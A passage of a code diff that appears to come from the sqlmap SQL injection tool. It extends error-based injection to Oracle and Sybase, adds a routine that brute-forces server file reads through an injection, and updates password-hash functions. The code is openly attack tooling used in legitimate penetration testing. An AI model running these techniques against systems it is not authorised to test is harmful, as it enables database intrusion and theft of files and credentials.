+    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
         debugMsg = "searching for error chunk length..."
         logger.debug(debugMsg)
 
@@ -82,8 +84,11 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
         while current >= MIN_ERROR_CHUNK_LENGTH:
             testChar = str(current % 10)
 
-            testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
-            testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
+            if Backend.isDbms(DBMS.ORACLE):
+                testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
+            else:
+                testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
+                testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
 
             result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
 
@@ -112,7 +117,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                 if field:
                     nulledCastedField = agent.nullAndCastField(field)
 
-                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
+                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
                         extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
                         if extendedField != field:  # e.g. MIN(surname)
                             nulledCastedField = extendedField.replace(field, nulledCastedField)
@@ -120,7 +125,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                         nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
 
                 # Forge the error-based SQL injection request
-                vector = kb.injection.data[kb.technique].vector
+                vector = getTechniqueData().vector
                 query = agent.prefixQuery(vector)
                 query = agent.suffixQuery(query)
                 injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
@@ -131,7 +136,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                 # Perform the request
                 page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
 
-                incrementCounter(kb.technique)
+                incrementCounter(getTechnique())
 
                 if page and conf.noEscape:
                     page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
@@ -172,7 +177,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                             else:
                                 output = output.rstrip()
 
-                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
+                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)):
                     if offset == 1:
                         retVal = output
                     else:
@@ -183,7 +188,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                     else:
                         break
 
-                    if output and conf.verbose in (1, 2) and not conf.api:
+                    if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)):
                         if kb.fileReadMode:
                             dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
                         elif offset > 1:
@@ -244,7 +249,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
         if not kb.threadContinue:
             return None
 
-        if not suppressOutput:
+        if not any((suppressOutput, kb.bruteMode)):
             if kb.fileReadMode and output and output.strip():
                 print()
             elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
@@ -295,7 +300,7 @@ def errorUse(expression, dump=False):
     SQL injection vulnerability on the affected parameter.
     """
 
-    initTechnique(kb.technique)
+    initTechnique(getTechnique())
 
     abortedFlag = False
     count = None
@@ -362,7 +367,7 @@ def errorUse(expression, dump=False):
                     message = "due to huge table size do you want to remove "
                     message += "ORDER BY clause gaining speed over consistency? [y/N] "
 
-                    if readInput(message, default="N", boolean=True):
+                    if readInput(message, default='N', boolean=True):
                         expression = expression[:expression.index(" ORDER BY ")]
 
                 numThreads = min(conf.threads, (stopLimit - startLimit))
@@ -449,7 +454,7 @@ def errorUse(expression, dump=False):
         value = _errorFields(expression, expressionFields, expressionFieldsList)
 
     if value and isListLike(value):
-        if len(value) == 1 and isinstance(value[0], six.string_types):
+        if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))):
             value = unArrayizeValue(value)
         elif len(value) > 1 and stopLimit == 1:
             value = [value]
@@ -457,7 +462,7 @@ def errorUse(expression, dump=False):
     duration = calculateDeltaSeconds(start)
 
     if not kb.bruteMode:
-        debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration)
+        debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)
         logger.debug(debugMsg)
 
     return value

lib/techniques/union/test.py

@@ -20,6 +20,7 @@ from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import removeReflectiveValues
+from lib.core.common import setTechnique
 from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import stdev
@@ -32,14 +33,14 @@ from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import PAYLOAD
 from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
-from lib.core.settings import UNION_MIN_RESPONSE_CHARS
-from lib.core.settings import UNION_STDEV_COEFF
-from lib.core.settings import MIN_RATIO
 from lib.core.settings import MAX_RATIO
+from lib.core.settings import MIN_RATIO
 from lib.core.settings import MIN_STATISTICAL_RANGE
 from lib.core.settings import MIN_UNION_RESPONSES
 from lib.core.settings import NULL
 from lib.core.settings import ORDER_BY_STEP
+from lib.core.settings import UNION_MIN_RESPONSE_CHARS
+from lib.core.settings import UNION_STDEV_COEFF
 from lib.core.unescaper import unescaper
 from lib.request.comparison import comparison
 from lib.request.connect import Connect as Request
@@ -162,7 +163,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
 
     if retVal:
         infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
-        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg))
+        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg))
 
     return retVal
 
@@ -200,7 +201,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
             if content and phrase in content:
                 validPayload = payload
                 kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
-                vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False)
+                vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial)
 
                 if where == PAYLOAD.WHERE.ORIGINAL:
                     # Prepare expression with delimiters
@@ -289,7 +290,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
             if not conf.uChar and count > 1 and kb.uChar == NULL:
                 message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
 
-                if not readInput(message, default="Y", boolean=True):
+                if not readInput(message, default='Y', boolean=True):
                     warnMsg += "usage of option '--union-char' "
                     warnMsg += "(e.g. '--union-char=1') "
                 else:
@@ -312,6 +313,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
 
     return validPayload, vector
 
+@stackedmethod
 def unionTest(comment, place, parameter, value, prefix, suffix):
     """
     This method tests if the target URL is affected by an union
@@ -322,7 +324,7 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
         return
 
     negativeLogic = kb.negativeLogic
-    kb.technique = PAYLOAD.TECHNIQUE.UNION
+    setTechnique(PAYLOAD.TECHNIQUE.UNION)
 
     try:
         if negativeLogic:

lib/techniques/union/use.py

@@ -10,7 +10,6 @@ import re
 import time
 import xml.etree.ElementTree
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import arrayizeValue
@@ -21,7 +20,6 @@ from lib.core.common import dataToStdout
 from lib.core.common import extractRegexResult
 from lib.core.common import firstNotNone
 from lib.core.common import flattenValue
-from lib.core.common import safeStringFormat
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
 from lib.core.common import hashDBRetrieve
@@ -34,6 +32,7 @@ from lib.core.common import isNumPosStrValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseUnionPage
 from lib.core.common import removeReflectiveValues
+from lib.core.common import safeStringFormat
 from lib.core.common import singleTimeDebugMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
@@ -62,6 +61,7 @@ from lib.core.threads import runThreads
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.utils.progress import ProgressBar
+from lib.utils.safe2bin import safecharencode
 from thirdparty import six
 from thirdparty.odict import OrderedDict
 
@@ -123,7 +123,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
 
                             try:
                                 decodeBase64(value)
-                            except binascii.Error:
+                            except (binascii.Error, TypeError):
                                 base64 = False
                                 break
 
@@ -241,7 +241,7 @@ def unionUse(expression, unpack=True, dump=False):
     # SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
@@ -376,7 +376,7 @@ def unionUse(expression, unpack=True, dump=False):
                                             threadData.shared.value.extend(arrayizeValue(_))
                                         del threadData.shared.buffered[0]
 
-                                if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
+                                if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
                                     _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
                                     status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
 

lib/utils/api.py

@@ -25,15 +25,15 @@ from lib.core.common import openFile
 from lib.core.common import saveConfig
 from lib.core.common import unArrayizeValue
 from lib.core.compat import xrange
-from lib.core.convert import encodeBase64
-from lib.core.convert import encodeHex
 from lib.core.convert import decodeBase64
 from lib.core.convert import dejsonize
+from lib.core.convert import encodeBase64
+from lib.core.convert import encodeHex
 from lib.core.convert import jsonize
 from lib.core.data import conf
 from lib.core.data import kb
-from lib.core.data import paths
 from lib.core.data import logger
+from lib.core.data import paths
 from lib.core.datatype import AttribDict
 from lib.core.defaults import _defaults
 from lib.core.dicts import PART_RUN_CONTENT_TYPES
@@ -43,8 +43,8 @@ from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapConnectionException
 from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
-from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import IS_WIN
+from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
 from lib.core.shell import autoCompletion

lib/utils/brute.py

@@ -5,29 +5,39 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
+import logging
 import time
 
+from lib.core.common import Backend
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
 from lib.core.common import filterListValue
 from lib.core.common import getFileItems
-from lib.core.common import Backend
 from lib.core.common import getPageWordSet
 from lib.core.common import hashDBWrite
+from lib.core.common import isNoneValue
+from lib.core.common import ntToPosixSlashes
+from lib.core.common import popValue
+from lib.core.common import pushValue
 from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import readInput
-from lib.core.common import safeStringFormat
 from lib.core.common import safeSQLIdentificatorNaming
+from lib.core.common import safeStringFormat
+from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapMissingMandatoryOptionException
+from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
 from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
 from lib.core.settings import METADB_SUFFIX
@@ -50,6 +60,7 @@ def _addPageTextWords():
 
     return wordsList
 
+@stackedmethod
 def tableExists(tableFile, regex=None):
     if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
         warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
@@ -64,15 +75,17 @@ def tableExists(tableFile, regex=None):
 
     result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
 
-    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-        conf.db = conf.db.upper()
-
     if result:
         errMsg = "can't use table existence check because of detected invalid results "
         errMsg += "(most likely caused by inability of the used injection "
         errMsg += "to distinguish erroneous results)"
         raise SqlmapDataException(errMsg)
 
+    pushValue(conf.db)
+
+    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
+        conf.db = conf.db.upper()
+
     message = "which common tables (wordlist) file do you want to use?\n"
     message += "[1] default '%s' (press Enter)\n" % tableFile
     message += "[2] custom"
@@ -82,81 +95,88 @@ def tableExists(tableFile, regex=None):
         message = "what's the custom common tables file location?\n"
         tableFile = readInput(message) or tableFile
 
-    infoMsg = "checking table existence using items from '%s'" % tableFile
+    infoMsg = "performing table existence using items from '%s'" % tableFile
     logger.info(infoMsg)
 
     tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
     tables.extend(_addPageTextWords())
     tables = filterListValue(tables, regex)
 
-    threadData = getCurrentThreadData()
-    threadData.shared.count = 0
-    threadData.shared.limit = len(tables)
-    threadData.shared.value = []
-    threadData.shared.unique = set()
+    for conf.db in (conf.db.split(',') if conf.db else [conf.db]):
+        if conf.db:
+            infoMsg = "checking database '%s'" % conf.db
+            logger.info(infoMsg)
 
-    def tableExistsThread():
         threadData = getCurrentThreadData()
+        threadData.shared.count = 0
+        threadData.shared.limit = len(tables)
+        threadData.shared.files = []
+        threadData.shared.unique = set()
 
-        while kb.threadContinue:
-            kb.locks.count.acquire()
-            if threadData.shared.count < threadData.shared.limit:
-                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
-                threadData.shared.count += 1
-                kb.locks.count.release()
-            else:
-                kb.locks.count.release()
-                break
+        def tableExistsThread():
+            threadData = getCurrentThreadData()
 
-            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
-                fullTableName = "%s.%s" % (conf.db, table)
-            else:
-                fullTableName = table
+            while kb.threadContinue:
+                kb.locks.count.acquire()
+                if threadData.shared.count < threadData.shared.limit:
+                    table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
+                    threadData.shared.count += 1
+                    kb.locks.count.release()
+                else:
+                    kb.locks.count.release()
+                    break
 
-            result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
+                if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
+                    fullTableName = "%s.%s" % (conf.db, table)
+                else:
+                    fullTableName = table
 
-            kb.locks.io.acquire()
+                result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
 
-            if result and table.lower() not in threadData.shared.unique:
-                threadData.shared.value.append(table)
-                threadData.shared.unique.add(table.lower())
+                kb.locks.io.acquire()
 
-                if conf.verbose in (1, 2) and not conf.api:
-                    clearConsoleLine(True)
-                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
-                    dataToStdout(infoMsg, True)
+                if result and table.lower() not in threadData.shared.unique:
+                    threadData.shared.files.append(table)
+                    threadData.shared.unique.add(table.lower())
 
-            if conf.verbose in (1, 2):
-                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
-                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
+                    if conf.verbose in (1, 2) and not conf.api:
+                        clearConsoleLine(True)
+                        infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
+                        dataToStdout(infoMsg, True)
 
-            kb.locks.io.release()
+                if conf.verbose in (1, 2):
+                    status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
+                    dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
 
-    try:
-        runThreads(conf.threads, tableExistsThread, threadChoice=True)
+                kb.locks.io.release()
 
-    except KeyboardInterrupt:
-        warnMsg = "user aborted during table existence "
-        warnMsg += "check. sqlmap will display partial output"
-        logger.warn(warnMsg)
+        try:
+            runThreads(conf.threads, tableExistsThread, threadChoice=True)
+        except KeyboardInterrupt:
+            warnMsg = "user aborted during table existence "
+            warnMsg += "check. sqlmap will display partial output"
+            logger.warn(warnMsg)
 
-    clearConsoleLine(True)
-    dataToStdout("\n")
+        clearConsoleLine(True)
+        dataToStdout("\n")
 
-    if not threadData.shared.value:
-        warnMsg = "no table(s) found"
-        logger.warn(warnMsg)
-    else:
-        for item in threadData.shared.value:
-            if conf.db not in kb.data.cachedTables:
-                kb.data.cachedTables[conf.db] = [item]
-            else:
-                kb.data.cachedTables[conf.db].append(item)
+        if not threadData.shared.files:
+            warnMsg = "no table(s) found"
+            if conf.db:
+                 warnMsg += " for database '%s'" % conf.db
+            logger.warn(warnMsg)
+        else:
+            for item in threadData.shared.files:
+                if conf.db not in kb.data.cachedTables:
+                    kb.data.cachedTables[conf.db] = [item]
+                else:
+                    kb.data.cachedTables[conf.db].append(item)
 
-    for _ in ((conf.db, item) for item in threadData.shared.value):
-        if _ not in kb.brute.tables:
-            kb.brute.tables.append(_)
+        for _ in ((conf.db, item) for item in threadData.shared.files):
+            if _ not in kb.brute.tables:
+                kb.brute.tables.append(_)
 
+    conf.db = popValue()
     hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
 
     return kb.data.cachedTables
@@ -215,7 +235,7 @@ def columnExists(columnFile, regex=None):
     threadData = getCurrentThreadData()
     threadData.shared.count = 0
     threadData.shared.limit = len(columns)
-    threadData.shared.value = []
+    threadData.shared.files = []
 
     def columnExistsThread():
         threadData = getCurrentThreadData()
@@ -235,7 +255,7 @@ def columnExists(columnFile, regex=None):
             kb.locks.io.acquire()
 
             if result:
-                threadData.shared.value.append(column)
+                threadData.shared.files.append(column)
 
                 if conf.verbose in (1, 2) and not conf.api:
                     clearConsoleLine(True)
@@ -250,22 +270,23 @@ def columnExists(columnFile, regex=None):
 
     try:
         runThreads(conf.threads, columnExistsThread, threadChoice=True)
-
     except KeyboardInterrupt:
         warnMsg = "user aborted during column existence "
         warnMsg += "check. sqlmap will display partial output"
         logger.warn(warnMsg)
+    finally:
+        kb.bruteMode = False
 
     clearConsoleLine(True)
     dataToStdout("\n")
 
-    if not threadData.shared.value:
+    if not threadData.shared.files:
         warnMsg = "no column(s) found"
         logger.warn(warnMsg)
     else:
         columns = {}
 
-        for column in threadData.shared.value:
+        for column in threadData.shared.files:
             if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
                 result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
             else:
@@ -285,3 +306,94 @@ def columnExists(columnFile, regex=None):
         hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
 
     return kb.data.cachedColumns
+
+@stackedmethod
+def fileExists(pathFile):
+    retVal = []
+
+    message = "which common files file do you want to use?\n"
+    message += "[1] default '%s' (press Enter)\n" % pathFile
+    message += "[2] custom"
+    choice = readInput(message, default='1')
+
+    if choice == '2':
+        message = "what's the custom common files file location?\n"
+        pathFile = readInput(message) or pathFile
+
+    infoMsg = "checking files existence using items from '%s'" % pathFile
+    logger.info(infoMsg)
+
+    paths = getFileItems(pathFile, unique=True)
+
+    kb.bruteMode = True
+
+    try:
+        conf.dbmsHandler.readFile(randomStr())
+    except SqlmapNoneDataException:
+        pass
+    except:
+        kb.bruteMode = False
+        raise
+
+    threadData = getCurrentThreadData()
+    threadData.shared.count = 0
+    threadData.shared.limit = len(paths)
+    threadData.shared.files = []
+
+    def fileExistsThread():
+        threadData = getCurrentThreadData()
+
+        while kb.threadContinue:
+            kb.locks.count.acquire()
+            if threadData.shared.count < threadData.shared.limit:
+                path = ntToPosixSlashes(paths[threadData.shared.count])
+                threadData.shared.count += 1
+                kb.locks.count.release()
+            else:
+                kb.locks.count.release()
+                break
+
+            try:
+                result = unArrayizeValue(conf.dbmsHandler.readFile(path))
+            except SqlmapNoneDataException:
+                result = None
+
+            kb.locks.io.acquire()
+
+            if not isNoneValue(result):
+                threadData.shared.files.append(result)
+
+                if not conf.api:
+                    clearConsoleLine(True)
+                    infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path)
+                    dataToStdout(infoMsg, True)
+
+            if conf.verbose in (1, 2):
+                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
+                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
+
+            kb.locks.io.release()
+
+    try:
+        pushValue(logger.getEffectiveLevel())
+        logger.setLevel(logging.CRITICAL)
+
+        runThreads(conf.threads, fileExistsThread, threadChoice=True)
+    except KeyboardInterrupt:
+        warnMsg = "user aborted during file existence "
+        warnMsg += "check. sqlmap will display partial output"
+        logger.warn(warnMsg)
+    finally:
+        kb.bruteMode = False
+        logger.setLevel(popValue())
+
+    clearConsoleLine(True)
+    dataToStdout("\n")
+
+    if not threadData.shared.files:
+        warnMsg = "no file(s) found"
+        logger.warn(warnMsg)
+    else:
+        retVal = threadData.shared.files
+
+    return retVal

lib/utils/crawler.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import os
 import re
 import tempfile
@@ -13,6 +15,7 @@ import time
 from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import extractRegexResult
 from lib.core.common import findPageForms
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
@@ -90,8 +93,7 @@ def crawl(target):
                         soup = BeautifulSoup(content)
                         tags = soup('a')
 
-                        if not tags:
-                            tags = re.finditer(r'(?i)<a[^>]+href=["\'](?P<href>[^>"\']+)', content)
+                        tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content)
 
                         for tag in tags:
                             href = tag.get("href") if hasattr(tag, "get") else tag.group("href")
@@ -110,7 +112,7 @@ def crawl(target):
                                 elif not _:
                                     continue
 
-                                if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
+                                if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS:
                                     with kb.locks.value:
                                         threadData.shared.deeper.add(url)
                                         if re.search(r"(.*?)\?(.+)", url):
@@ -193,6 +195,26 @@ def crawl(target):
             for url in threadData.shared.value:
                 kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))
 
+        if kb.normalizeCrawlingChoice is None:
+            message = "do you want to normalize "
+            message += "crawling results [Y/n] "
+
+            kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True)
+
+        if kb.normalizeCrawlingChoice:
+            seen = set()
+            results = OrderedSet()
+
+            for target in kb.targets:
+                match = re.search(r"/[^/?]*\?.*\Z", target[0])
+                if match:
+                    key = re.sub(r"=[^=&]*", "=", match.group(0))
+                    if key not in seen:
+                        results.add(target)
+                        seen.add(key)
+
+            kb.targets = results
+
         storeResultsToFile(kb.targets)
 
 def storeResultsToFile(results):

lib/utils/deps.py

@@ -21,7 +21,7 @@ def checkDependencies():
             if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
                 __import__("_mssql")
 
-                import pymssql
+                pymssql = __import__("pymssql")
                 if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
                     warnMsg = "'%s' third-party library must be " % data[1]
                     warnMsg += "version >= 1.0.2 to work properly. "

lib/utils/hash.py

@@ -33,6 +33,7 @@ else:
 import base64
 import binascii
 import gc
+import hashlib
 import os
 import re
 import tempfile
@@ -63,9 +64,9 @@ from lib.core.common import readInput
 from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.compat import xrange
-from lib.core.convert import encodeHex
 from lib.core.convert import decodeBase64
 from lib.core.convert import decodeHex
+from lib.core.convert import encodeHex
 from lib.core.convert import getBytes
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
@@ -90,13 +91,13 @@ from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT
 from lib.core.settings import IS_WIN
 from lib.core.settings import ITOA64
 from lib.core.settings import NULL
-from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import ROTATING_CHARS
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.wordlist import Wordlist
 from thirdparty import six
 from thirdparty.colorama.initialise import init as coloramainit
-from thirdparty.pydes.pyDes import des
 from thirdparty.pydes.pyDes import CBC
+from thirdparty.pydes.pyDes import des
 from thirdparty.six.moves import queue as _queue
 
 def mysql_passwd(password, uppercase=True):
@@ -155,7 +156,24 @@ def postgres_passwd(password, username, uppercase=False):
 
     return retVal.upper() if uppercase else retVal.lower()
 
-def mssql_passwd(password, salt, uppercase=False):
+def mssql_new_passwd(password, salt, uppercase=False):  # since version '2012'
+    """
+    Reference(s):
+        http://hashcat.net/forum/thread-1474.html
+        https://sqlity.net/en/2460/sql-password-hash/
+
+    >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False)
+    '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25'
+    """
+
+    binsalt = decodeHex(salt)
+    unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password)
+
+    retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest())
+
+    return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
+
+def mssql_passwd(password, salt, uppercase=False):  # versions '2005' and '2008'
     """
     Reference(s):
         http://www.leidecker.info/projects/phrasendrescher/mssql.c
@@ -172,7 +190,7 @@ def mssql_passwd(password, salt, uppercase=False):
 
     return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
 
-def mssql_old_passwd(password, salt, uppercase=True):  # prior to version '2005'
+def mssql_old_passwd(password, salt, uppercase=True):  # version '2000' and before
     """
     Reference(s):
         www.exploit-db.com/download_pdf/15537/
@@ -190,22 +208,6 @@ def mssql_old_passwd(password, salt, uppercase=True):  # prior to version '2005'
 
     return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
 
-def mssql_new_passwd(password, salt, uppercase=False):
-    """
-    Reference(s):
-        http://hashcat.net/forum/thread-1474.html
-
-    >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False)
